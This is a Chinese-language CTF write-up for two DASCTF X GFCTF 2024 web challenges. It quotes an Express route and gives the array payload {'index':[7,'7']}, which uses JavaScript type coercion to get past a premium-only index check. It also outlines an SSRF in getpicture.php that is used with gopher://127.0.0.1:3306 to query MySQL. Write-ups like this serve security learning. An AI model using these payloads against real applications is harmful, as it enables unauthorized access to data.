DASCTF X GFCTF 2024|四月开启第一局

cool_index


查看源码
在server.js
const JWT_SECRET = crypto.randomBytes(64).toString("hex");
jwt的key被设置为64位的随机字节的16进制,想爆破基本不行
flag放在了articles数组的最后一个
在/article路由中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
app.post("/article", (req, res) => {
const token = req.cookies.token;
if (token) {
try {
const decoded = jwt.verify(token, JWT_SECRET);
let index = req.body.index;
if (req.body.index < 0) {
return res.status(400).json({ message: "你知道我要说什么" });
}
if (decoded.subscription !== "premium" && index >= 7) {
return res
.status(403)
.json({ message: "订阅高级会员以解锁" });
}
index = parseInt(index);
if (Number.isNaN(index) || index > articles.length - 1) {
return res.status(400).json({ message: "你知道我要说什么" });
}

return res.json(articles[index]);
} catch (error) {
res.clearCookie("token");
return res.status(403).json({ message: "重新登录罢" });
}
} else {
return res.status(403).json({ message: "未登录" });
}
});

return res.json(articles[index]);有机会可以输出flag
需要绕过前面3个if
index不能小于0不能大于数组长度-1也就是7
其中前两个if直接去index值
而在第三个if前执行了    index = parseInt(index);将index转为int值 然后判断Number.isNaN(index)index传入的值是否为 NaN(Not-a-Number)
js 中>比较会先类型转换
如果数组包含多个元素或元素不能转换为数字,数组将不会被转换为一个有效的数字,而是返回 NaN(Not-a-Number)。

1
2
3
4
5
6
7
8
9
10
11
console.log("7">=7);
console.log(["7"] >= 7)
console.log([7]>=7)
console.log([7,"7"] >= 7)
console.log(parseInt([7, "7"]))

true
true
true
false
7

payload{"index":[7,"7"]}

EasySignin

随便注册一个账号
发现在修改密码的update.php
注册一个账号进去
然后

登录后admin发现/getpicture.php?url=[https://tvax3.sinaimg.cn//large/0072Vf1pgy1foxkc9gjl2j31hc0u0h7m.jpg](https://tvax3.sinaimg.cn//large/0072Vf1pgy1foxkc9gjl2j31hc0u0h7m.jpg)存在ssrf
gopher打mysql

把gopher://127.0.0.1:3306/_ 后的的再次url编码


解码返回的base64得到flag


DASCTF X GFCTF 2024|四月开启第一局
http://example.com/2024/04/20/DASCTF X GFCTF 2024|四月开启第一局/
作者
J_0k3r
发布于
2024年4月20日
许可协议
BY J_0K3R